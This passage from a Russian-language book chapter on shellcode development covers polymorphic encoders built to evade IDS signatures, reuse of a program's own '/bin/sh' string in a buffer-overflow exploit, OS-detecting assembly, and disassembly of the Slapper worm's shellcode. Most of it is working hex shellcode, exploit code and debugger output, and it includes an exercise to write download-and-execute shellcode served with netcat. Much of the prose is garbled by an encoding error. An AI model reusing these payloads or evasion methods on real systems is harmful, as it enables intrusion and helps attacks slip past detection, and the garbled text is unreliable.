� Çàòåì äåêîäåð è shell-êîä êîïèðóþòñÿ â ýòó îáëàñòü, îíè ãîòîâû äëÿ èñ-
ïîëüçîâàíèÿ â ýêñïëîéòå. Â ñòðîêå 81 ìû ðàñïå÷àòûâàåì ñîäåðæèìîå
ìàññèâà result íà stdout, ÷òîáû óáåäèòüñÿ, ÷òî ïðè êàæäîì âûïîëíåíèè
ïðîãðàììû shell-êîä äåéñòâèòåëüíî îêàçûâàåòñÿ äðóãèì. Ïîñëå ðàñïå-
÷àòêè shell-êîä èñïîëíÿåòñÿ.

Ïðè çàïóñêå ïîêàçàííîé âûøå ïðîãðàììû äâà ðàçà ïîäðÿä áûëè ïîëó÷åíû
ñëåäóþùèå ðåçóëüòàòû:

Пример 9. 25.Пример 9. 25.Пример 9. 25.Пример 9. 25.Пример 9. 25. Результаты работы программы
[root@gabriel sub-decoder]# ./encode

Äëÿ êîäèðîâàíèÿ shell-êîäà èñïîëüçóåòñÿ çíà÷åíèå 152

char code[] =
"\xeb\x10\x5e\x31\xc9\xb1\x18\x80\x6c\x0e\xff\x9c\xfe\xc9\x75"
"\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xcd\x5c\x35\xee\x04\xcb\xcb"
"\x0f\x04\x04\xcb\xfe\x05\x0a\x25\x7f\xec\xef\x25\x7d\x4c\xa7"
"\x69\x1c";

sh-2.04# exit
[root@gabriel sub-decoder]# ./encode

Äëÿ êîäèðîâàíèÿ shell-êîäà èñïîëüçóåòñÿ çíà÷åíèå 104

char code[] =
"\xeb\x10\x5e\x31\xc9\xb1\x18\x80\x6c\x0e\xff\x68\xfe\xc9\x75"
"\xf7\xeb\x05\xe8\xeb\xff\xff\xff\x99\x28\x01\xba\xd0\x97\x97"
"\xdb\xd0\xd0\x97\xca\xd1\xd6\xf1\x4b\xb8\xbb\xf1\x49\x18\x73"
"\x35\xe8";

sh-2.04# exit

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Ïîëóæèðíûì øðèôòîì âûäåëåí shell-êîä, âûïîëíÿþùèé execve. Êàê âèäíî,
îí î÷åíü îòëè÷àåòñÿ îò èñõîäíîãî âàðèàíòà. Íèêàêàÿ IDS íå ñìîæåò îïîçíàòü
â ýòîé ñòðîêå shell-êîä. Ñåé÷àñ ïðîãðàììà óñòðîåíà òàê, ÷òî shell-êîä çàíîâî
êîäèðóåòñÿ, åñëè â ðåçóëüòèðóþùåé ñòðîêå îêàçûâàåòñÿ íóëåâîé áàéò. Ìîæ-
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íî ìîäèôèöèðîâàòü àëãîðèòì òàê, ÷òî íå áóäóò äîïóñêàòüñÿ è äðóãèå ñèìâî-
ëû, íàïðèìåð, íîâîé ñòðîêè èëè êîñîé ÷åðòû.

Íî îäíà ïðîáëåìà îñòàåòñÿ. Äåêîäåð ïîëó÷èëñÿ äîâîëüíî äëèííûì è äëÿ
íåãî ñàìîãî ìîæíî ñîçäàòü â IDS ñèãíàòóðó. Ñïðàâèòüñÿ ñ ýòèì ìîæíî òîëü-
êî îäíèì ñïîñîáîì – ðàçáèòü äåêîäåð íà ìíîãî ìåëêèõ ÷àñòåé, íàïèñàòü êàæ-
äóþ ÷àñòü ñ ïîìîùüþ ðàçëè÷íûõ êîìàíä è ñîçäàòü ôóíêöèþ, êîòîðàÿ ñîáåðåò
ãîòîâûé äåêîäåð, îáúåäèíÿÿ ñëó÷àéíî âûáðàííûå ôóíêöèîíàëüíî ýêâèâà-
ëåíòíûå ôðàãìåíòû â ïðàâèëüíîì ïîðÿäêå.

Íàïðèìåð, â ñòðîêå 11 àññåìáëåðíîãî òåêñòà äåêîäåðà ìû óìåíüøàåì ðå-
ãèñòð CL êîìàíäîé dec. Íî âìåñòî íåå ìîæíî áûëî áû èñïîëüçîâàòü «sub
cl,1» èëè êîìáèíàöèþ «add cl,111» è «sub cl,110». Òàêîé äåêîäåð ìîæíî áûëî
áû ïîìåñòèòü â êîíåö shell-êîäà, à â åãî íà÷àëî òîãäà ñëåäîâàëî áû ïîìåñòèòü
êîìàíäó ïåðåõîäà (jmp) íà íà÷àëî äåêîäåðà. Íó è, ðàçóìååòñÿ, ñàì äåêîäåð
ïðèøëîñü áû ñëåãêà èçìåíèòü. Ïîìèìî ðàçáèåíèÿ äåêîäåðà íà ÷àñòè ìîæíî
åùå íàïèñàòü íåñêîëüêî äåêîäåðîâ ñ ðàçíûìè àëãîðèòìàìè. Â ñî÷åòàíèè âñå
ýòè ïðèåìû ïîçâîëÿþò ïîëó÷èòü õîðîøî çàìàñêèðîâàííûå ýêñïëîéòû, íå
ïîääàþùèåñÿ îáíàðóæåíèþ ñîâðåìåííûìè IDS.

Примечание

Очень полезным может оказаться эксплойт, который скачивает
с удаленной машины некую программу и исполняет ее. Напишите
shell�код, который соединяется с удаленным хостом, считывает дан�
ные в файл, а затем исполняет этот файл. Простейший способ пере�
дать shell�коду исполняемый файл – запустить на удаленной машине
программу netcat:
nc 3l 3p 6666 < executable

Измените получившийся код так, чтобы он работал с HTTP или с FTP�
сервером. Получится очень гибкий эксплойт, способный загружать
из сети очень большие файлы на ту машину, где исполняется. Пожа�
луй, вариант для HTTP написать проще. Пропустите все заголовки и
начинайте записывать данные, следующие за пустой строкой \r\n.
Сначала напишите такой код на perl, затем на C, пользуясь систем�
ными вызовами и, наконец, на ассемблере. В ассемблерной версии
постарайтесь поместить имя исполняемого файла в конец кода, что�
бы его можно было легко изменить.

Примеры shell�кодов
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Повторное использование
переменных программы
Èíîãäà ïðîãðàììà íàïèñàíà òàê, ÷òî ìîæíî âíåäðèòü â íåå òîëüêî î÷åíü íå-
áîëüøîé shell-êîä. Â òàêèõ ñëó÷àÿõ ìîæíî ïîïûòàòüñÿ èñïîëüçîâàòü äëÿ ñâî-
èõ öåëåé óæå îáúÿâëåííûå â ïðîãðàììå ïåðåìåííûå è ñòðîêè. Â ðåçóëüòàòå
äëèíà shell-êîäà óìåíüøàåòñÿ, òàê ÷òî øàíñû ýêñïëîéòà íà óñïåõ âîçðàñòàþò.

Îñíîâíîé íåäîñòàòîê ýòîé òåõíèêè ñîñòîèò â òîì, ÷òî ýêñïëîéò áóäåò ðà-
áîòàòü òîëüêî äëÿ îäíîé âåðñèè ïðîãðàììû, ñîáðàííîé ñòðîãî îïðåäåëåí-
íûì êîìïèëÿòîðîì. Òàê, ýêñïëîéò äëÿ ïðîãðàììû, ïîñòàâëÿåìîé â ñîñòàâå
ÎÑ Red Hat Linux 9.0, ñêîðåå âñåãî, íå áóäåò ðàáîòàòü äëÿ íåå æå, íî èäóùåé
â êîìïëåêòå ñ Red Hat Linux 6.2.

Ïðîãðàììû ñ îòêðûòûìè èñõîäíûìè òåêñòàìèÏðîãðàììû ñ îòêðûòûìè èñõîäíûìè òåêñòàìèÏðîãðàììû ñ îòêðûòûìè èñõîäíûìè òåêñòàìèÏðîãðàììû ñ îòêðûòûìè èñõîäíûìè òåêñòàìèÏðîãðàììû ñ îòêðûòûìè èñõîäíûìè òåêñòàìè
Åñëè èìååòñÿ èñõîäíûé òåêñò ïðîãðàììû, òî íàéòè â íåì íóæíûå ïåðåìåí-
íûå íåòðóäíî. Ïîèùèòå ïåðåìåííûå, â êîòîðûõ õðàíÿòñÿ ââåäåííûå ïîëüçî-
âàòåëåì äàííûå, ïðèñìîòðèòåñü ê òîìó, êàê èñïîëüçóþòñÿ ìíîãîìåðíûå
ìàññèâû. Åñëè íàéäåòå ÷òî-òî èíòåðåñíîå, îòêîìïèëèðóéòå ïðîãðàììó è ïî-
ñìîòðèòå, ïî êàêèì àäðåñàì â ïàìÿòè ðàçìåùàþòñÿ ïðèãîäíûå äëÿ ïîâòîð-
íîãî èñïîëüçîâàíèÿ ïåðåìåííûå. Ïðåäïîëîæèì, ÷òî ìû õîòèì íàïèñàòü ýêñ-
ïëîéò äëÿ ïåðåïîëíåíèÿ áóôåðà â ñëåäóþùåé ïðîãðàììå:

void abuse() {
   char command[] = "/bin/sh";
   printf("%s\n", command);
}

int main(int argc, char **argv) {
   char buf[256];
   strcpy(buf, argc[1]);
   abuse();
}

Êàê âèäèòå, â ôóíêöèè abuse() âñòðå÷àåòñÿ ñòðîêà «/bin/sh». Êîíå÷íî, ýòîò
ïðèìåð ìîæåò ïîêàçàòüñÿ íàäóìàííûì, íî âî ìíîãèõ ïðîãðàììàõ íàéäåòñÿ
÷òî-íèáóäü ïîëåçíîå äëÿ âàñ.

Ïðåæäå ÷åì âîñïîëüçîâàòüñÿ ýòîé ñòðîêîé, íóæíî íàéòè åå àäðåñ â ïàìÿ-
òè. Äëÿ ýòîé öåëè ïðèãîäèòñÿ îòëàä÷èê GDB (ñì. ïðèìåð 9.26).

Пример 9.26.Пример 9.26.Пример 9.26.Пример 9.26.Пример 9.26. Нахождение адреса переменной в памяти
1 bash-2.05b$ gdb -q reusage

2 (no debugging symbols found)...(gdb)
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 3 (gdb) disassemble abuse

 4 dump of assembler code for function abuse:

 5 0x8048538 <abuse>: push %ebp

 6 0x8048539 <abuse+1>: mov %esp,%ebp

 7 0x804853b <abuse+3>: sub $0x8,%esp

 8 0x804853e <abuse+6>: mov 0x8048628,%eax

 9 0x8048543 <abuse+11>: mov 0x804862c,%edx

10 0x8048549 <abuse+17>: mov %eax,0xfffffff8(%ebp)

11 0x804854c <abuse+20>: mov %esx,0xfffffffc(%ebp)

12 0x804854f <abuse+23>: sub $0x8,%esp

13 0x8048552 <abuse+26>: lea 0xfffffff8(%ebp),%eax

14 0x8048555 <abuse+29>: push %eax

15 0x8048556 <abuse+30>: push $0x8048630

16 0x804855b <abuse+35>: call 0x80483cc <printf>

17 0x8048560 <abuse+40>: add $0x10,%esp

18 0x8048563 <abuse+43>: leave

19 0x8048564 <abuse+44>: ret

20 0x8048565 <abuse+45>: lea 0x0(%esi),%esi

21 End of assembler dump.

22 (gdb) x/10 0x8048628

23 0x8048628 <_fini+84>: 0x6e69622f  0x0068732f  0x000a7325  0x65724624

24 0x8048638 <_fini+100>: 0x44534265  0x7273203a  0x696c2f63  0x73632f62

25 0x8048648 <_fini+116>: 0x33692f75  0x652d3638

26 (gdb) bash-2.05b$

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Ñíà÷àëà ìû îòêðûâàåì ôàéë â gdb (ñòðîêà 1) è äèçàññåìáëèðóåì ôóíê-

öèþ abuse() (ñòðîêà 3), ïîñêîëüêó èç èñõîäíîãî òåêñòà çíàåì, ÷òî èìåí-
íî â íåé âñòðå÷àåòñÿ ñòðîêà «/bin/sh», êîòîðàÿ ïåðåäàåòñÿ ôóíêöèè
printf.

� Â ñòðîêå 22 ìû ñ ïîìîùüþ êîìàíäû x ïðîñìàòðèâàåì ñîäåðæèìîå
ïàìÿòè, èñïîëüçóåìîé ýòîé ôóíêöèåé, è îáíàðóæèâàåì, ÷òî èñêîìàÿ
ñòðîêà íàõîäèòñÿ ïî àäðåñó 0x8048628.

Çíàÿ àäðåñ, íåò íåîáõîäèìîñòè ïîìåùàòü ñàìó ñòðîêó â shell-êîä, ïîýòîìó
åãî ðàçìåð ìîæíî çàìåòíî ñîêðàòèòü. Âçãëÿíèòå, êàê ïîâòîðíîå èñïîëüçî-
âàíèå èìåþùåéñÿ ñòðîêè èçìåíÿåò shell-êîä äëÿ âûçîâà execve â ñèñòåìå
FreeBSD.

BITS 32
xor eax,eax
push eax
push eax
push 0x8048628
push eax
mov al,59
int 80h

Повторное использование переменных программы
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Áîëüøå íå íàäî çàòàëêèâàòü ñòðîêó «/bin/sh» â ñòåê è ñîõðàíÿòü åå àäðåñ
â ðåãèñòðå. Íà ýòîì ìû ýêîíîìèì 10 áàéòîâ, ÷òî ìîæåò îêàçàòüñÿ ñóùåñòâåí-
íî äëÿ àòàêè íà óÿçâèìóþ ïðîãðàììó, â êîòîðîé î÷åíü ìàëî ìåñòà äëÿ ðàçìå-
ùåíèÿ shell-êîäà. Ïîëó÷èâøèéñÿ â ðåçóëüòàòå 14-áàéòîâûé êîä ïðèâåäåí
íèæå:

char shellcode[] =
"\x31\xc0\x50\x50\x68\x28\x86\x04\x08\x50\xb0\x3b\xcd\x80"

Ïðîãðàììû ñ íåäîñòóïíûìè èñõîäíûìè òåêñòàìèÏðîãðàììû ñ íåäîñòóïíûìè èñõîäíûìè òåêñòàìèÏðîãðàììû ñ íåäîñòóïíûìè èñõîäíûìè òåêñòàìèÏðîãðàììû ñ íåäîñòóïíûìè èñõîäíûìè òåêñòàìèÏðîãðàììû ñ íåäîñòóïíûìè èñõîäíûìè òåêñòàìè
Â ïðåäûäóùåì ïðèìåðå íàéòè ñòðîêó «/bin/sh» áûëî íåñëîæíî, òàê êàê ìû
çíàëè, ÷òî íà íåå åñòü ññûëêà èç ôóíêöèè abuse(). Ïîýòîìó äëÿ ïîëó÷åíèÿ àä-
ðåñà íóæíî áûëî ëèøü äèçàññåìáëèðîâàòü ýòó ôóíêöèþ. Íî ãîðàçäî ÷àùå
âû çàðàíåå íå çíàåòå, ãäå â ïðîãðàììå âñòðå÷àåòñÿ íóæíàÿ ïåðåìåííàÿ, ïî-
ýòîìó ïðèõîäèòñÿ ïðèìåíÿòü äðóãèå ìåòîäû.

Ñòðîêè è äðóãèå ïåðåìåííûå êîìïèëÿòîð ÷àñòî ðàçìåùàåò â ñòàòè÷åñêè
ðàñïðåäåëåííîé îáëàñòè ïàìÿòè, ê êîòîðîé ìîæíî îáðàùàòüñÿ â ëþáîé ìî-
ìåíò èñïîëíåíèÿ ïðîãðàììû. Â ôîðìàòå ELF, êîòîðûé ÷àùå âñåãî ïðèìåíÿ-
åòñÿ äëÿ èñïîëíÿåìûõ ôàéëîâ â ñèñòåìàõ Linux è *BSD, äàííûå ïðîãðàììû
õðàíÿòñÿ â ñïåöèàëüíûõ ñåãìåíòàõ. Òàê, ñòðîêè è ïðî÷èå ïåðåìåííûå íàõî-
äÿòñÿ îáû÷íî â ñåãìåíòàõ «.rodata» è «.data».

Óòèëèòà readelf ïîçâîëÿåò ëåãêî ïîëó÷èòü èíôîðìàöèþ îáî âñåõ ñåãìåíòàõ
äâîè÷íîãî ôàéëà. Äëÿ ýòîãî ïðåäíàçíà÷åí ôëàã –S (ñì. ïðèìåð 9.27).

Пример 9.27. Пример 9.27. Пример 9.27. Пример 9.27. Пример 9.27. Получение информации об исполняемом файле
с помощью readelf
1 bash-2.05b$ readelf -S reusage
There are 22 section headers, starting at offset 0x8fc:

Section Headers:
[Nr] Name          Type       Addr       Off    Size   ES Flg Lk Inf Al
[ 0]               NULL       00000000   000000 000000 00      0   0  0
[ 1] .interp       PROGBITS   080480f4   0000f4 000019 00   A  0   0  1
[ 2] .note.ABI-tag NOTE       08048110   000110 000018 00   A  0   0  4
[ 3] .hash         HASH       08048128   000128 000090 00   A  4   0  4
[ 4] .dynsym       DYNSYM     080481b8   0001b8 000110 10   A  5   1  4
[ 5] .dynstr       SYMTAB     080482c8   0002c8 0000b8 00   A  0   0  1
[ 6] .rel.plt      REL        08048380   000380 000020 08   A  4   8  4
[ 7] .init         PROGBITS   080483a0   0003a0 00000b 00  AX  0   0  4
[ 8] .plt          PROGBITS   080483ac   0003ac 000050 04  AX  0   0  4
[ 9] .text         PROGBITS   08048400   000400 0001d4 00  AX  0   0 16
[10] .fini         PROGBITS   080485d4   000006 00000b 00  AX  0   0  4
[11] .rodata       PROGBITS   080485da   0005da 0000a7 00   A  0   0  1
[12] .data         PROGBITS   08049684   000684 00000c 00  WA  0   0  4
[13] .eh_frame     PROGBITS   08049690   000690 000004 00  WA  0   0  4
[14] .dynamic      DYNAMIC    08049694   000694 000098 08  WA  5   0  4
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[15] .ctors        PROGBITS   0804972c   00072c 000008 00  WA  0   0  4
[16] .dtors        PROGBITS   08049734   000734 000008 00  WA  0   0  4
[17] .jcr          PROGBITS   0804973c   00073c 000004 00  WA  0   0  4
[18] .got          PROGBITS   08049740   000740 00001c 04  WA  0   0  4
[19] .bss          NOBITS     0804975c   00075c 000020 00  WA  0   0  4
[20] .comment      PROGBITS   00000000   00075c 000107 00      0   0  1
[21] .shstrtab     STRTAB     00000000   000863 000099 00      0   0  1
Key to flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), x (unknown)
(extra OS processing required) o (OS specific), p (processor specific)

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Â ëèñòèíãå âûøå ïåðå÷èñëåíû âñå ñåãìåíòû ïðîãðàììû reusage. Êàê âèäèòå,
ñåãìåíò .data (ñ íîìåðîì 12) íà÷èíàåòñÿ ñ àäðåñà 08049684 è çàíèìàåò 0x0c áàé-
òîâ. ×òîáû óâèäåòü ñîäåðæèìîå ýòîé îáëàñòè ïàìÿòè, ìîæíî âîñïîëüçîâàòü-
ñÿ êîìàíäîé x îòëàä÷èêà gdb. Îäíàêî, ýòî íå ðåêîìåíäóåòñÿ, ïîòîìó ÷òî...
Âîçüìèòå ëó÷øå òó æå óòèëèòó readelf, êîòîðàÿ óìååò ïîêàçûâàòü ñîäåðæèìîå
ñåãìåíòà â øåñòíàäöàòåðè÷íîì âèäå è â êîäèðîâêå ASCII.

Ïîñìîòðèì, ÷òî íàõîäèòñÿ â ñåãìåíòå .data. Â ïðèìåðå 9.27 âèäíî, ÷òî
readelf, çàïóùåííàÿ ñ ôëàãîì –S, ïðîíóìåðîâàëà âñå ñåãìåíòû. Íîìåðà ñåãìåí-
òà .data ðàâåí 12. Åñëè çàïóñòèòü readelf ñ ôëàãîì -x è óêàçàòü ýòîò íîìåð, òî
îíà ïîêàæåò ñîäåðæèìîå ñåãìåíòà:

bash-2.05b$ readelf -x 12 reusage
Hex dump of section '.data':
0x8049684   08049738 00000000 080485da ............8...
bash-2.05b$

Â ýòîì ñåãìåíòå íåò íèêàêèõ äàííûõ, êðîìå àäðåñà (0x080485da), êîòîðûé
ÿâëÿåòñÿ íå ÷åì èíûì, êàê óêàçàòåëåì íà ñåãìåíò «.rodata». Ïîñìîòðèì, íåò
ëè â ýòîì ñåãìåíòå (ïðèìåð 9.28) ñòðîêè «/bin/sh».

Пример 9.28. Пример 9.28. Пример 9.28. Пример 9.28. Пример 9.28. Анализ содержимого памяти
 1 bash-2.05b$ readelf -x 11 reusage
 2 Hex dump of section '.rodata':
 3 0x080485da 6c2f6372 73203a44 53426565 72462400 .$FreeBSD: src/1
 4 0x080485ea 2f666c65 2d363833 692f7573 632f6269 ib/csu/i386-elf/
 5 0x080485fa 30303220 362e3120 762c532e 69747263 crti.S,v 1.6 200
 6 0x0804860a 39343a39 313a3430 2035312f 35302f32 2/05/15 04:19:49
 7 0x0804861a 622f0024 20707845 206e6569 72626f29  obrien Exp $./b
 8 0x0804862a 42656572 4624000a 73250068 732f6e69 in/sh.%s..$FreeB
 9 0x0804863a 2f757363 2f62696c 2f637273 203a4453 SD: src/lib/csu/
10 0x0804864a 2c532e6e 7472632f 666c652d 36383369 i386-elf/crtn.S,
11 0x0804865a 35312f35 302f3230 30322035 2e312076 v 1.5 2002/05/15
12 0x0804867a 6e656972 626f2039 343a3931 3a343020  04:19:49 obrien
13 0x0804867a                     002420 70784520  Exp $.

14 bash-2.05b$

Повторное использование переменных программы
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ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Ìû íàøëè åå! Ñòðîêà «/bin/sh» íà÷èíàåòñÿ â êîíöå ñòðîêè 7 è ïðîäîëæàåòñÿ
íà ñòðîêå 8. Òî÷íûé àäðåñ ìîæíî âû÷èñëèòü, ïðèáàâèâ ê àäðåñó, óêàçàííîìó
â íà÷àëå ñòðîêè 7 (0x0804861a), ÷èñëî áàéòîâ äî ñèìâîëà '/', òî åñòü 14.
Â ðåçóëüòàòå ïîëó÷èòñÿ 0x08048628. Ýòî òîò æå àäðåñ, êîòîðûé ìû íàøëè
â ðåçóëüòàòå äèçàññåìáëèðîâàíèÿ ôóíêöèè abuse().

Shell�код, работающий
в разных ОС
Ãëàâíîå äîñòîèíñòâî shell-êîäà, ðàáîòàþùåãî â ðàçíûõ îïåðàöèîííûõ ñèñ-
òåìàõ, â òîì, ÷òî â âàø ýêñïëîéò äîñòàòî÷íî âñòàâèòü òîëüêî îäèí ìàññèâ
ñ shell-êîäîì, òàê ÷òî ïîëåçíàÿ íàãðóçêà áóäåò îäíîé è òîé æå, çà èñêëþ÷åíèåì
ëèøü äëèíû è àäðåñîâ âîçâðàòà. Íåäîñòàòîê æå ñîñòîèò â òîì, ÷òî òàêîé shell-
êîä äîëæåí â ïðîöåññå ðàáîòû îïðåäåëèòü, â êàêîé ñèñòåìå îí âûïîëíÿåòñÿ.

Âûÿñíèòü, ðàáîòàåò ëè shell-êîä â ÎÑ BSD èëè Linux îòíîñèòåëüíî ëåãêî.
Äîñòàòî÷íî âûïîëíèòü êàêîé-íèáóäü ñèñòåìíûé âûçîâ, êîòîðûé ñóùåñòâóåò
â îáåèõ ñèñòåìàõ, íî äåëàåò ñîâåðøåííî ðàçíûå âåùè, è ïîñìîòðåòü, ÷òî îí
âåðíåò. Äëÿ ðàçëè÷åíèÿ Linux è FreeBSD ìîæåò ïðèãîäèòüñÿ âûçîâ ñ íîìåðîì
39. Â Linux ýòî mkdir, à â FreeBSD – getppid.

Òàêèì îáðàçîì, â Linux ñèñòåìíûé âûçîâ 39 ñîçäàåò êàòàëîã. Åìó íóæíî ïå-
ðåäàòü íåñêîëüêî àðãóìåíòîâ, â òîì ÷èñëå óêàçàòåëü íà ìàññèâ ñèìâîëîâ, èíà÷å
áóäåò âîçâðàùåíà îøèáêà. Â FreeBSD ýòîò ñèñòåìíûé âûçîâ âîçâðàùàåò èäåí-
òèôèêàòîð ðîäèòåëüñêîãî ïðîöåññà è íå òðåáóåò àðãóìåíòîâ. Âûïîëíèâ ïîêà-
çàííûé íèæå êîä â Linux è FreeBSD, ìû ñìîæåì ðàçëè÷èòü ýòè ïëàòôîðìû:

xor eax,eax
xor ebx,ebx
mov al,39
int 0x80

Ðåçóëüòàò ïîëó÷èòñÿ òàêîé:

Linux   : îøèáêà (-1)
FreeBSD : èäåíòèôèêàòîð ïðîöåññà

Ïîñêîëüêó èäåíòèôèêàòîð ïðîöåññà íèêîãäà íå áûâàåò îòðèöàòåëüíûì,
àíàëèç âîçâðàùåííîãî çíà÷åíèÿ ïîçâîëÿåò ïåðåéòè íà íóæíûé ó÷àñòîê ïðî-
ãðàììû. Â ïðèìåðå 9.29 ïðèâåäåí íåáîëüøîé ôðàãìåíò êîäà, ïîêàçûâàþ-
ùèé, êàê âîïëîòèòü òåîðèþ â æèçíü:
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Пример 9.29. Пример 9.29. Пример 9.29. Пример 9.29. Пример 9.29. Ассемблерный код для различения Linux и FreeBSD
 1 xor eax,eax

 2 xor ebx,ebx

 3 mov al,39

 4 int 0x80

 5
 6 test eax,eax

 7 jz linux

 8
 9
10 freebsd:

11
12 ; Âñòàâèòü ðåàëüíûé êîä

13
14
15 linux:

16
17 ; Âñòàâèòü ðåàëüíûé êîä

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 1-4 ìû îáðàùàåìñÿ ê ñèñòåìíîìó âûçîâó 39, êîòîðûé â ÎÑ

FreeBSD íå èìååò àðãóìåíòîâ.
� Çàäàåì òîëüêî ïåðâûé àðãóìåíò ñèñòåìíîãî âûçîâà mkdir, ñëåäóÿ ñîãëà-

øåíèþ, ïðèíÿòîìó â Linux. Åñòåñòâåííî, ÿäðî âîçâðàùàåò îøèáêó.
� Â ñòðîêå 7 ïðîâåðÿåì, çàâåðøèëñÿ ëè ñèñòåìíûé âûçîâ óñïåøíî. Åñëè

íåò, òî ìû ïåðåõîäèì íà êîä, ñîîòâåòñòâóþùèé Linux, â ïðîòèâíîì ñëó-
÷àå ïðîäîëæàåì âûïîëíÿòü êîä, ïðåäíàçíà÷åííûé äëÿ FreeBSD.

Ïîêàçàííûé âûøå êîä ìîæíî áûëî áû ýôôåêòíî ïðèìåíèòü ñëåäóþùèì
îáðàçîì: ñíà÷àëà îïðåäåëèòü òèï îïåðàöèîííîé ñèñòåìû, à çàòåì çàãðóçèòü
ïîäõîäÿùèé shell-êîä èç ñåòè è âûïîëíèòü åãî. Íàïðèìåð, â ÷àñòè, ïðåäíàç-
íà÷åííîé äëÿ Linux èëè FreeBSD, ìîæíî áûëî áû âûâåñòè íåêóþ ñòðîêó
â ñîêåò. Ýêñïëîéò ïðî÷èòàë áû åå, âûáðàë ñîîòâåòñòâóþùèé shell-êîä è îòïðà-
âèë áû åãî òåêñò â ñîêåò. Shell-êîä â ñâîþ î÷åðåäü ïðî÷èòàë áû äàííûå èç
ñîêåòà è âûïîëíèë êîìàíäó ïåðåõîäà íà ïåðâûé áàéò. Ïîïðîáóéòå, ýòî ñòàíåò
îòëè÷íûì óïðàæíåíèåì!

Как разобраться
в работе готового shell�кода?
Òåïåðü, íàó÷èâøèñü ðàçðàáàòûâàòü shell-êîä, âû, íàâåðíîå, íå ïðî÷ü óçíàòü,
êàê ðàçîáðàòüñÿ â ÷óæîì êîäå. Ðàññìîòðèì ýòó ïðîöåäóðó íà ïðèìåðå shell-

Как разобраться в работе готового shell�кода?
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êîäà ÷åðâÿ Slapper. Ýòîò êîä, èç êîòîðîãî èñêëþ÷åíà ôóíêöèîíàëüíîñòü ñîá-
ñòâåííî ÷åðâÿ, áûë âûïîëíåí íà ìíîãèõ ìàøèíàõ, áëàãîäàðÿ óÿçâèìîñòè, îá-
íàðóæåííîé â áèáëèîòåêå openssl, êîòîðàÿ èñïîëüçóåòñÿ â ìîäóëå mod_ssl äëÿ
Web-ñåðâåðà Apache.

×òîáû äèçàññåìáëèðîâàòü shell-êîä, ñêîïèðóåì ñîäåðæàùóþ åãî ñòðîêó èç
ïðîãðàììû íà C â êðîøå÷íûé Perl-ñöåíàðèé, êîòîðûé âûâåäåò ýòó ñòðîêó
â ôàéë. Íèæå ïðèâåäåí òåêñò ýòîãî ñöåíàðèÿ:

#!/usr/bin/perl

$shellcode =

"\x31\xdb\x89\xe7\x8d\x77\x10" .
"\x89\x77\x04\x8d\x4f\x20\x89" .
"\x4f\x08\xb3\x10\x89\x19\x31" .
"\xc9\xb1\xff\x89\x0f\x51\x31" .
"\xc0\xb0\x66\xb3\x07\x89\xf9" .
"\xcd\x80\x59\x31\xdb\x39\xd8" .
"\x75\x0a\x66\xb8\x12\x34\x66" .
"\x39\x46\x02\x74\x02\xe2\xe0" .
"\x89\xcb\x31\xc9\xb1\x03\x31" .
"\xc0\xb0\x3f\x49\xcd\x80\x41" .
"\xe2\xf6" .

"\x31\xc9\xf7\xe1\x51\x5b\xb0" .
"\xa4\xcd\x80" .

"\x31\xc0\x50\x68\x2f\x2f\x73" .
"\x68\x68\x2f\x62\x69\x6e\x89" .
"\xe3\x50\x53\x89\xe1\x99\xb0" .
"\x0b\xcd\x80";

open(FILE, ">binary.bin");
print FILE "$shellcode";
close(FILE);

Îáðàòèòå âíèìàíèå, ÷òî shell-êîä ðàçáèò íà òðè ÷àñòè. Ìû âûïîëíèì ýòîò
ñöåíàðèé, êîòîðûé ñîçäàñò ôàéë binary.bin, à çàòåì ïîäàäèì åãî íà âõîä äèçàñ-
ñåìáëåðà ndisasm, âõîäÿùåãî â ñîñòàâ ïàêåòà nasm, ÷òîáû óâèäåòü êîìàíäû, èç
êîòîðûõ ñîñòîèò ýòîò shell-êîä (ïðèìåð 9.30).

Пример 9.30. Пример 9.30. Пример 9.30. Пример 9.30. Пример 9.30. perl slapper.pl
1 -bash-2.05b$ perl slapper.pl

2 -bash-2.05b$ ndisasm -b32 binary.bin

3 00000000  31DB              xor ebx,ebx

4 00000002  89E7              mov edi,esp

5 00000004  8D7710            lea esi,[edi+0x10]

6 00000007  897704            mov [edi+0x4],esi
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 7 0000000A  8D4F20            lea ecx,[edi+0x20]

 8 0000000D  894F08            mov [edi+0x8],ecx

 9 00000010  B310              mov bl,0x10

10 00000012  8919              mov [ecx],ebx

11 00000014  31C9              xor ecx,ecx

12 00000016  B1FF              mov cl,0xff

13 00000018  890F              mov [edi],ecx

14 0000001A  51                push ecx

15 0000001B  31C0              xor eax,eax

16 0000001D  B066              mov al,0x66

17 0000001F  B307              mov bl,0x7

18 00000021  89F9              mov ecx,edi

19 00000023  CD80              int 0x80

20 00000025  59                pop ecx

21 00000026  31DB              xor ebx,ebx

22 00000028  39D8              cmp eax,ebx

23 0000002A  750A              jnz 0x36

24 0000002C  66B81234          mov ax,0x3412

25 00000030  66394602          cmp [esi+0x2],ax

26 00000034  7402              jz 0x38

27 00000036  E2E0              loop 0x18

28 00000038  89CB              mov ebx,ecx

29 0000003A  31C9              xor ecx,ecx

30 0000003C  B103              mov cl,0x3

31 0000003E  31C0              xor eax,eax

32 00000040  B03F              mov al,0x3f

33 00000042  49                dec ecx

34 00000043  CD80              int 0x80

35 00000045  41                inc ecx

36 00000046  E2F6              loop 0x3e

37 00000048  31C9              xor ecx,ecx

38 0000004A  F7E1              mul ecx

39 0000004C  51                push ecx

40 0000004D  5B                pop ebx

41 0000004E  B0A4              mov al,0xa4

42 00000050  CD80              int 0x80

43 00000052  31C0              xor eax,eax

44 00000054  50                push eax

45 00000055  682F2F7368        push dword 0x68732f2f

46 0000005A  682F62696E        push dword 0x6e69622f

47 0000005F  89E3              mov ebx,esp

48 00000061  50                push eax

49 00000062  53                push ebx

50 00000063  89E1              mov ecx,esp

51 00000065  99                cdq

52 00000066  B00B              mov al,0xb

53 00000068  CD80              int 0x80

Как разобраться в работе готового shell�кода?
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ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Ïðåæäå âñåãî, íàäî ïîíÿòü, êàêèå ñèñòåìíûå âûçîâû âñòðå÷àþòñÿ â shell-
